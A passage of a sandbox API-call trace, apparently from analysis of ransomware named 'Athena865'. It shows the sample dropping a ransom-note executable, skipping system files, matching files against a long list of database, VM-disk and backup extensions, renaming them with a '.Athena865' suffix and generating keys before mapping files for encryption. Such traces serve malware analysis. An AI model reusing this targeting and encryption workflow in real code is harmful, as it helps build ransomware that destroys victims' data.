Flags=0x8, Size=0xc) returned 0x52ce58 [0066.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d138 [0066.419] lstrcatW (in: lpString1="AccessWeb", lpString2="\\" | out: lpString1="AccessWeb\\") returned="AccessWeb\\" [0066.419] lstrcatW (in: lpString1="AccessWeb\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="AccessWeb\\HOW TO BACK YOUR FILES.exe") returned="AccessWeb\\HOW TO BACK YOUR FILES.exe" [0066.419] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\how to back your files.exe"), bFailIfExists=1) returned 1 [0066.424] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".") returned 1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="..") returned 1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="windows") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="bootmgr") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="temp") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="pagefile.sys") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="boot") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="ids.txt") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="ntuser.dat") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="perflogs") returned -1 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2="MSBuild") returned -1 [0066.424] lstrlenW (lpString="ACCICONS.EXE") returned 12 [0066.424] lstrcpyW (in: lpString1=0x241e89e, lpString2="ACCICONS.EXE" | out: lpString1="ACCICONS.EXE") returned="ACCICONS.EXE" [0066.424] lstrlenW (lpString="ACCICONS.EXE") returned 12 [0066.424] lstrlenW (lpString="Athena865") returned 9 [0066.424] lstrcmpiW (lpString1="ICONS.EXE", lpString2="Athena865") returned 1 [0066.424] lstrlenW (lpString=".dll") returned 4 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".dll") returned 1 [0066.424] lstrlenW (lpString=".lnk") returned 4 [0066.424] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".lnk") returned 1 [0066.425] lstrlenW (lpString=".ini") returned 4 [0066.425] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".ini") returned 1 [0066.425] lstrlenW (lpString=".sys") returned 4 [0066.425] lstrcmpiW (lpString1="ACCICONS.EXE", lpString2=".sys") returned 1 [0066.425] lstrlenW (lpString="ACCICONS.EXE") returned 12 [0066.425] lstrlenW (lpString="bak") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0066.425] lstrlenW (lpString="ba_") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0066.425] lstrlenW (lpString="dbb") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0066.425] lstrlenW (lpString="vmdk") returned 4 [0066.425] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0066.425] lstrlenW (lpString="rar") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0066.425] lstrlenW (lpString="zip") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0066.425] lstrlenW (lpString="tgz") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0066.425] lstrlenW (lpString="vbox") returned 4 [0066.425] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0066.425] lstrlenW (lpString="vdi") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0066.425] lstrlenW (lpString="vhd") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0066.425] lstrlenW (lpString="vhdx") returned 4 [0066.425] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0066.425] lstrlenW (lpString="avhd") returned 4 [0066.425] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0066.425] lstrlenW (lpString="db") returned 2 [0066.425] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0066.425] lstrlenW (lpString="db2") returned 3 [0066.425] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0066.426] lstrlenW (lpString="db3") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0066.426] lstrlenW (lpString="dbf") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0066.426] lstrlenW (lpString="mdf") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0066.426] lstrlenW (lpString="mdb") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0066.426] lstrlenW (lpString="sql") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0066.426] lstrlenW (lpString="sqlite") returned 6 [0066.426] lstrcmpiW (lpString1="NS.EXE", lpString2="sqlite") returned -1 [0066.426] lstrlenW (lpString="sqlite3") returned 7 [0066.426] lstrcmpiW (lpString1="ONS.EXE", lpString2="sqlite3") returned -1 [0066.426] lstrlenW (lpString="sqlitedb") returned 8 [0066.426] lstrcmpiW (lpString1="CONS.EXE", lpString2="sqlitedb") returned -1 [0066.426] lstrlenW (lpString="xml") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0066.426] lstrlenW (lpString="$er") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0066.426] lstrlenW (lpString="4dd") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0066.426] lstrlenW (lpString="4dl") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0066.426] lstrlenW (lpString="^^^") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0066.426] lstrlenW (lpString="abs") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0066.426] lstrlenW (lpString="abx") returned 3 [0066.426] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0066.426] lstrlenW (lpString="accdb") returned 5 [0066.426] lstrcmpiW (lpString1="S.EXE", lpString2="accdb") returned 1 [0066.426] lstrlenW (lpString="accdc") returned 5 [0066.427] lstrcmpiW (lpString1="S.EXE", lpString2="accdc") returned 1 [0066.427] lstrlenW (lpString="accde") returned 5 [0066.427] lstrcmpiW (lpString1="S.EXE", lpString2="accde") returned 1 [0066.429] lstrlenW (lpString="accdr") returned 5 [0066.429] lstrcmpiW (lpString1="S.EXE", lpString2="accdr") returned 1 [0066.429] lstrlenW (lpString="accdt") returned 5 [0066.429] lstrcmpiW (lpString1="S.EXE", lpString2="accdt") returned 1 [0066.429] lstrlenW (lpString="accdw") returned 5 [0066.429] lstrcmpiW (lpString1="S.EXE", lpString2="accdw") returned 1 [0066.430] lstrlenW (lpString="accft") returned 5 [0066.430] lstrcmpiW (lpString1="S.EXE", lpString2="accft") returned 1 [0066.430] lstrlenW (lpString="adb") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0066.430] lstrlenW (lpString="adb") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0066.430] lstrlenW (lpString="ade") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0066.430] lstrlenW (lpString="adf") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0066.430] lstrlenW (lpString="adn") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0066.430] lstrlenW (lpString="adp") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0066.430] lstrlenW (lpString="alf") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0066.430] lstrlenW (lpString="ask") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0066.430] lstrlenW (lpString="btr") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0066.430] lstrlenW (lpString="cat") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0066.430] lstrlenW (lpString="cdb") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0066.430] lstrlenW (lpString="ckp") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0066.430] lstrlenW (lpString="cma") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0066.430] lstrlenW (lpString="cpd") returned 3 [0066.430] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0066.430] lstrlenW (lpString="dacpac") returned 6 [0066.430] lstrcmpiW (lpString1="NS.EXE", lpString2="dacpac") returned 1 [0066.430] lstrlenW (lpString="dad") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0066.431] lstrlenW (lpString="dadiagrams") returned 10 [0066.431] lstrcmpiW (lpString1="CICONS.EXE", lpString2="dadiagrams") returned -1 [0066.431] lstrlenW (lpString="daschema") returned 8 [0066.431] lstrcmpiW (lpString1="CONS.EXE", lpString2="daschema") returned -1 [0066.431] lstrlenW (lpString="db-journal") returned 10 [0066.431] lstrcmpiW (lpString1="CICONS.EXE", lpString2="db-journal") returned -1 [0066.431] lstrlenW (lpString="db-shm") returned 6 [0066.431] lstrcmpiW (lpString1="NS.EXE", lpString2="db-shm") returned 1 [0066.431] lstrlenW (lpString="db-wal") returned 6 [0066.431] lstrcmpiW (lpString1="NS.EXE", lpString2="db-wal") returned 1 [0066.431] lstrlenW (lpString="dbc") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0066.431] lstrlenW (lpString="dbs") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0066.431] lstrlenW (lpString="dbt") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0066.431] lstrlenW (lpString="dbv") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0066.431] lstrlenW (lpString="dbx") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0066.431] lstrlenW (lpString="dcb") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0066.431] lstrlenW (lpString="dct") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0066.431] lstrlenW (lpString="dcx") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0066.431] lstrlenW (lpString="ddl") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0066.431] lstrlenW (lpString="dlis") returned 4 [0066.431] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0066.431] lstrlenW (lpString="dp1") returned 3 [0066.431] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0066.432] lstrlenW (lpString="dqy") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0066.432] lstrlenW (lpString="dsk") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0066.432] lstrlenW (lpString="dsn") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0066.432] lstrlenW (lpString="dtsx") returned 4 [0066.432] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0066.432] lstrlenW (lpString="dxl") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0066.432] lstrlenW (lpString="eco") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0066.432] lstrlenW (lpString="ecx") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0066.432] lstrlenW (lpString="edb") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0066.432] lstrlenW (lpString="epim") returned 4 [0066.432] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0066.432] lstrlenW (lpString="fcd") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0066.432] lstrlenW (lpString="fdb") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0066.432] lstrlenW (lpString="fic") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0066.432] lstrlenW (lpString="flexolibrary") returned 12 [0066.432] lstrlenW (lpString="fm5") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0066.432] lstrlenW (lpString="fmp") returned 3 [0066.432] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0066.432] lstrlenW (lpString="fmp12") returned 5 [0066.432] lstrcmpiW (lpString1="S.EXE", lpString2="fmp12") returned 1 [0066.432] lstrlenW (lpString="fmpsl") returned 5 [0066.432] lstrcmpiW (lpString1="S.EXE", lpString2="fmpsl") returned 1 [0066.432] lstrlenW (lpString="fol") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0066.433] lstrlenW (lpString="fp3") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0066.433] lstrlenW (lpString="fp4") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0066.433] lstrlenW (lpString="fp5") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0066.433] lstrlenW (lpString="fp7") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0066.433] lstrlenW (lpString="fpt") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0066.433] lstrlenW (lpString="frm") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0066.433] lstrlenW (lpString="gdb") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0066.433] lstrlenW (lpString="gdb") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0066.433] lstrlenW (lpString="grdb") returned 4 [0066.433] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0066.433] lstrlenW (lpString="gwi") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0066.433] lstrlenW (lpString="hdb") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0066.433] lstrlenW (lpString="his") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0066.433] lstrlenW (lpString="ib") returned 2 [0066.433] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0066.433] lstrlenW (lpString="idb") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0066.433] lstrlenW (lpString="ihx") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0066.433] lstrlenW (lpString="itdb") returned 4 [0066.433] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0066.433] lstrlenW (lpString="itw") returned 3 [0066.433] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0066.434] lstrlenW (lpString="jet") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0066.434] lstrlenW (lpString="jtx") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0066.434] lstrlenW (lpString="kdb") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0066.434] lstrlenW (lpString="kexi") returned 4 [0066.434] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0066.434] lstrlenW (lpString="kexic") returned 5 [0066.434] lstrcmpiW (lpString1="S.EXE", lpString2="kexic") returned 1 [0066.434] lstrlenW (lpString="kexis") returned 5 [0066.434] lstrcmpiW (lpString1="S.EXE", lpString2="kexis") returned 1 [0066.434] lstrlenW (lpString="lgc") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0066.434] lstrlenW (lpString="lwx") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0066.434] lstrlenW (lpString="maf") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0066.434] lstrlenW (lpString="maq") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0066.434] lstrlenW (lpString="mar") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0066.434] lstrlenW (lpString="marshal") returned 7 [0066.434] lstrcmpiW (lpString1="ONS.EXE", lpString2="marshal") returned 1 [0066.434] lstrlenW (lpString="mas") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0066.434] lstrlenW (lpString="mav") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0066.434] lstrlenW (lpString="maw") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0066.434] lstrlenW (lpString="mdbhtml") returned 7 [0066.434] lstrcmpiW (lpString1="ONS.EXE", lpString2="mdbhtml") returned 1 [0066.434] lstrlenW (lpString="mdn") returned 3 [0066.434] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0066.435] lstrlenW (lpString="mdt") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0066.435] lstrlenW (lpString="mfd") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0066.435] lstrlenW (lpString="mpd") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0066.435] lstrlenW (lpString="mrg") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0066.435] lstrlenW (lpString="mud") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0066.435] lstrlenW (lpString="mwb") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0066.435] lstrlenW (lpString="myd") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0066.435] lstrlenW (lpString="ndf") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0066.435] lstrlenW (lpString="nnt") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0066.435] lstrlenW (lpString="nrmlib") returned 6 [0066.435] lstrcmpiW (lpString1="NS.EXE", lpString2="nrmlib") returned 1 [0066.435] lstrlenW (lpString="ns2") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0066.435] lstrlenW (lpString="ns3") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0066.435] lstrlenW (lpString="ns4") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0066.435] lstrlenW (lpString="nsf") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0066.435] lstrlenW (lpString="nv") returned 2 [0066.435] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0066.435] lstrlenW (lpString="nv2") returned 3 [0066.435] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0066.435] lstrlenW (lpString="nwdb") returned 4 [0066.436] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0066.436] lstrlenW (lpString="nyf") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0066.436] lstrlenW (lpString="odb") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0066.436] lstrlenW (lpString="odb") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0066.436] lstrlenW (lpString="oqy") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0066.436] lstrlenW (lpString="ora") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0066.436] lstrlenW (lpString="orx") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0066.436] lstrlenW (lpString="owc") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0066.436] lstrlenW (lpString="p96") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0066.436] lstrlenW (lpString="p97") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0066.436] lstrlenW (lpString="pan") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0066.436] lstrlenW (lpString="pdb") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0066.436] lstrlenW (lpString="pdm") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0066.436] lstrlenW (lpString="pnz") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0066.436] lstrlenW (lpString="qry") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0066.436] lstrlenW (lpString="qvd") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0066.436] lstrlenW (lpString="rbf") returned 3 [0066.436] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0066.436] lstrlenW (lpString="rctd") returned 4 [0066.436] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0066.437] lstrlenW (lpString="rod") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0066.437] lstrlenW (lpString="rodx") returned 4 [0066.437] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0066.437] lstrlenW (lpString="rpd") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0066.437] lstrlenW (lpString="rsd") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0066.437] lstrlenW (lpString="sas7bdat") returned 8 [0066.437] lstrcmpiW (lpString1="CONS.EXE", lpString2="sas7bdat") returned -1 [0066.437] lstrlenW (lpString="sbf") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0066.437] lstrlenW (lpString="scx") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0066.437] lstrlenW (lpString="sdb") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0066.437] lstrlenW (lpString="sdc") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0066.437] lstrlenW (lpString="sdf") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0066.437] lstrlenW (lpString="sis") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0066.437] lstrlenW (lpString="spq") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0066.437] lstrlenW (lpString="te") returned 2 [0066.437] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0066.437] lstrlenW (lpString="teacher") returned 7 [0066.437] lstrcmpiW (lpString1="ONS.EXE", lpString2="teacher") returned -1 [0066.437] lstrlenW (lpString="tmd") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0066.437] lstrlenW (lpString="tps") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0066.437] lstrlenW (lpString="trc") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0066.437] lstrlenW (lpString="trc") returned 3 [0066.437] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0066.438] lstrlenW (lpString="trm") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0066.438] lstrlenW (lpString="udb") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0066.438] lstrlenW (lpString="udl") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0066.438] lstrlenW (lpString="usr") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0066.438] lstrlenW (lpString="v12") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0066.438] lstrlenW (lpString="vis") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0066.438] lstrlenW (lpString="vpd") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0066.438] lstrlenW (lpString="vvv") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0066.438] lstrlenW (lpString="wdb") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0066.438] lstrlenW (lpString="wmdb") returned 4 [0066.438] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0066.438] lstrlenW (lpString="wrk") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0066.438] lstrlenW (lpString="xdb") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0066.438] lstrlenW (lpString="xld") returned 3 [0066.438] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0066.438] lstrlenW (lpString="xmlff") returned 5 [0066.438] lstrcmpiW (lpString1="S.EXE", lpString2="xmlff") returned -1 [0066.438] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.Athena865") returned 65 [0066.438] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe.athena865"), dwFlags=0x1) returned 1 [0066.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accicons.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0066.439] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1449312) returned 1 [0066.439] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0066.440] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0066.440] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0066.440] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.440] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x162060, lpName=0x0) returned 0x154 [0066.442] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x162060) returned 0x2d50000 [0066.494] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 